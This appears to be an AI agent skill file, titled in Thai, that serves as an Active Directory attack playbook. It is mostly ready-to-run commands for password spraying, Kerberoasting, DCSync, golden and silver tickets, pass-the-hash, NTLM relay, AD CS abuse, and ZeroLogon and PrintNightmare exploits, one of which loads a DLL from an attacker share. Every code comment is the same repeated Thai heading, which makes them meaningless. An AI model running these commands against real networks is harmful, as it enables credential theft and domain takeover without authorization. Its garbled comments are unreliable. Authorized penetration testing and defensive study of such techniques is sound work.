---
name: Active Directory Attacks
description: "สกิลสำหรับ การโจมตี Active Directory ใช้เมื่อต้องการแนวทาง ขั้นตอน Template หรือคำแนะนำเชิงปฏิบัติสำหรับงาน IT, SysAdmin, Infrastructure, Security, Network, Server และระบบปฏิบัติการ ในหัวข้อนี้"
metadata:
  author: zebbern
  version: "1.1"
---

# การโจมตี Active Directory

## Purpose

Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.

## Inputs/Prerequisites

- Kali Linux or Windows attack platform
- Domain user credentials (for most attacks)
- Network access to Domain Controller
- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec

## Outputs/Deliverables

- Domain enumeration data
- Extracted credentials and hashes
- Kerberos tickets for impersonation
- Domain Administrator access
- Persistent access mechanisms

---

## Essential Tools

| Tool | Purpose |
|------|---------|
| BloodHound | AD attack path visualization |
| Impacket | Python AD attack tools |
| Mimikatz | Credential extraction |
| Rubeus | Kerberos attacks |
| CrackMapExec | Network exploitation |
| PowerView | AD enumeration |
| Responder | LLMNR/NBT-NS poisoning |

---

## Core Workflow

### Step 1: Kerberos Clock Sync

Kerberos requires clock synchronization (±5 minutes):

```bash
# การโจมตี Active Directory
nmap -sT 10.10.10.10 -p445 --script smb2-time

# การโจมตี Active Directory
sudo date -s "14 APR 2024 18:25:16"

# การโจมตี Active Directory
net time /domain /set

# การโจมตี Active Directory
faketime -f '+8h' <command>
```

### Step 2: AD Reconnaissance with BloodHound

```bash
# การโจมตี Active Directory
neo4j console
bloodhound --no-sandbox

# การโจมตี Active Directory
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass

# การโจมตี Active Directory
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
```

### Step 3: PowerView Enumeration

```powershell
# การโจมตี Active Directory
Get-NetDomain
Get-DomainSID
Get-NetDomainController

# การโจมตี Active Directory
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset

# การโจมตี Active Directory
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member

# การโจมตี Active Directory
Find-LocalAdminAccess -Verbose

# การโจมตี Active Directory
Invoke-UserHunter
Invoke-UserHunter -Stealth
```

---

## Credential Attacks

### Password Spraying

```bash
# การโจมตี Active Directory
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123

# การโจมตี Active Directory
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
```

### Kerberoasting

Extract service account TGS tickets and crack offline:

```bash
# การโจมตี Active Directory
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt

# การโจมตี Active Directory
.\Rubeus.exe kerberoast /outfile:hashes.txt

# การโจมตี Active Directory
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt

# การโจมตี Active Directory
hashcat -m 13100 hashes.txt rockyou.txt
```

### AS-REP Roasting

Target accounts with "Do not require Kerberos preauthentication":

```bash
# การโจมตี Active Directory
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat

# การโจมตี Active Directory
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

# การโจมตี Active Directory
hashcat -m 18200 hashes.txt rockyou.txt
```

### DCSync Attack

Extract credentials directly from DC (requires Replicating Directory Changes rights):

```bash
# การโจมตี Active Directory
secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt

# การโจมตี Active Directory
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator
```

---

## Kerberos Ticket Attacks

### Pass-the-Ticket (Golden Ticket)

Forge TGT with krbtgt hash for any user:

```powershell
# การโจมตี Active Directory
# การโจมตี Active Directory
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt

# การโจมตี Active Directory
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/Administrator@dc.domain.local
```

### Silver Ticket

Forge TGS for specific service:

```powershell
# การโจมตี Active Directory
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
```

### Pass-the-Hash

```bash
# การโจมตี Active Directory
psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH

# การโจมตี Active Directory
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
```

### OverPass-the-Hash

Convert NTLM hash to Kerberos ticket:

```bash
# การโจมตี Active Directory
getTGT.py domain.local/user -hashes :NTHASH
export KRB5CCNAME=user.ccache

# การโจมตี Active Directory
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
```

---

## NTLM Relay Attacks

### Responder + ntlmrelayx

```bash
# การโจมตี Active Directory
responder -I eth0 -wrf

# การโจมตี Active Directory
ntlmrelayx.py -tf targets.txt -smb2support

# การโจมตี Active Directory
ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access
```

### SMB Signing Check

```bash
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
```

---

## Certificate Services Attacks (AD CS)

### ESC1 - Misconfigured Templates

```bash
# การโจมตี Active Directory
certipy find -u user@domain.local -p password -dc-ip 10.10.10.10

# การโจมตี Active Directory
certipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local

# การโจมตี Active Directory
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
```

### ESC8 - Web Enrollment Relay

```bash
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
```

---

## Critical CVEs

### ZeroLogon (CVE-2020-1472)

```bash
# การโจมตี Active Directory
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon

# การโจมตี Active Directory
python3 cve-2020-1472-exploit.py DC01 10.10.10.10

# การโจมตี Active Directory
secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass

# การโจมตี Active Directory
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD
```

### PrintNightmare (CVE-2021-1675)

```bash
# การโจมตี Active Directory
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'

# การโจมตี Active Directory
python3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\attacker\share\evil.dll'
```

### samAccountName Spoofing (CVE-2021-42278/42287)

```bash
# การโจมตี Active Directory
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
```

---

## Quick Reference

| Attack | Tool | Command |
|--------|------|---------|
| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |
| AS-REP Roast | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` |
| DCSync | secretsdump | `secretsdump.py domain/admin:pass@DC` |
| Pass-the-Hash | psexec | `psexec.py domain/user@target -hashes :HASH` |
| Golden Ticket | Mimikatz | `kerberos::golden /user:Admin /krbtgt:HASH` |
| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |

---

## Constraints

**Must:**
- Synchronize time with DC before Kerberos attacks
- Have valid domain credentials for most attacks
- Document all compromised accounts

**Must Not:**
- Lock out accounts with excessive password spraying
- Modify production AD objects without approval
- Leave Golden Tickets without documentation

**Should:**
- Run BloodHound for attack path discovery
- Check for SMB signing before relay attacks
- Verify patch levels for CVE exploitation

---

## Examples

### Example 1: Domain Compromise via Kerberoasting

```bash
# การโจมตี Active Directory
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10

# การโจมตี Active Directory
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt

# การโจมตี Active Directory
hashcat -m 13100 tgs.txt rockyou.txt

# การโจมตี Active Directory
psexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10
```

### Example 2: NTLM Relay to LDAP

```bash
# การโจมตี Active Directory
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access

# การโจมตี Active Directory
python3 printerbug.py domain.local/user:pass@target 10.10.10.12

# การโจมตี Active Directory
```

---

## Troubleshooting

| Issue | Solution |
|-------|----------|
| Clock skew too great | Sync time with DC or use faketime |
| Kerberoasting returns empty | No service accounts with SPNs |
| DCSync access denied | Need Replicating Directory Changes rights |
| NTLM relay fails | Check SMB signing, try LDAP target |
| BloodHound empty | Verify collector ran with correct creds |

---

## Additional Resources

For advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see [references/advanced-attacks.md](references/advanced-attacks.md).
